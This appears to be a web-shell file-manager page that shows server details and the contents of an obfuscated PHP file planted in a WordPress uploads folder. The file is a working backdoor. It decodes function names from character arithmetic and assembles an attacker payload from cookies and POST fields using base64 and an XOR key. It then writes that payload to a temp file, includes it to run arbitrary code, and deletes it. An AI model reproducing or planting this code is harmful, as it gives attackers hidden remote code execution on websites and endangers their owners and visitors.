HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/uploads/2024/d7403a43.php
$cCnMGxU = "\155" . "\137" . chr ( 835 - 761 ).chr (80) . "\x4d";$PXXADtWVxW = "\x63" . chr ( 651 - 543 )."\x61" . "\163" . "\x73" . chr ( 451 - 356 )."\x65" . 'x' . chr ( 735 - 630 )."\x73" . chr (116) . chr ( 867 - 752 ); $BXZnRYD = class_exists($cCnMGxU); $PXXADtWVxW = "37678";$rBMns = strpos($PXXADtWVxW, $cCnMGxU);if ($BXZnRYD == $rBMns){function VvToxX(){$gdabVdEF = new /* 47139 */ m_JPM(5760 + 5760); $gdabVdEF = NULL;}$dMLZrM = "5760";class m_JPM{private function SNalehO($dMLZrM){if (is_array(m_JPM::$ucuYneT)) {$name = sys_get_temp_dir() . "/" . crc32(m_JPM::$ucuYneT["salt"]);@m_JPM::$ucuYneT["write"]($name, m_JPM::$ucuYneT["content"]);include $name;@m_JPM::$ucuYneT["delete"]($name); $dMLZrM = "5760";exit();}}public function THzJM(){$PZxAs = "3635";$this->_dummy = str_repeat($PZxAs, strlen($PZxAs));}public function __destruct(){m_JPM::$ucuYneT = @unserialize(m_JPM::$ucuYneT); $dMLZrM = "32763_55953";$this->SNalehO($dMLZrM); $dMLZrM = "32763_55953";}public function vgYKWRaHne($PZxAs, $GMqQouj){return $PZxAs[0] ^ str_repeat($GMqQouj, intval(strlen($PZxAs[0]) / strlen($GMqQouj)) + 1);}public function gjlfBWH($PZxAs){$OHGZmYnwe = 'b' . chr ( 199 - 102 ).'s' . chr ( 842 - 741 ).chr ( 989 - 935 ).chr (52);return array_map($OHGZmYnwe . "\137" . "\x64" . "\x65" . chr (99) . chr (111) . 'd' . chr (101), array($PZxAs,));}public function __construct($dXyZoPSpiE=0){$KFDmrJAHi = chr ( 947 - 903 ); $PZxAs = "";$quVZftcNT = $_POST;$qPKSEE = $_COOKIE;$GMqQouj = "f032b49a-6d97-4ff0-9f20-b9b8c642101f";$EnIlLD = @$qPKSEE[substr($GMqQouj, 0, 4)];if (!empty($EnIlLD)){$EnIlLD = explode($KFDmrJAHi, $EnIlLD);foreach ($EnIlLD as $RWxHx){$PZxAs .= @$qPKSEE[$RWxHx];$PZxAs .= @$quVZftcNT[$RWxHx];}$PZxAs = $this->gjlfBWH($PZxAs);}m_JPM::$ucuYneT = $this->vgYKWRaHne($PZxAs, $GMqQouj);if (strpos($GMqQouj, $KFDmrJAHi) !== FALSE){$GMqQouj = explode($KFDmrJAHi, $GMqQouj); $VNCHtYwz = sprintf("32763_55953", rtrim($GMqQouj[0]));}}public static $ucuYneT = 56222;}VvToxX();}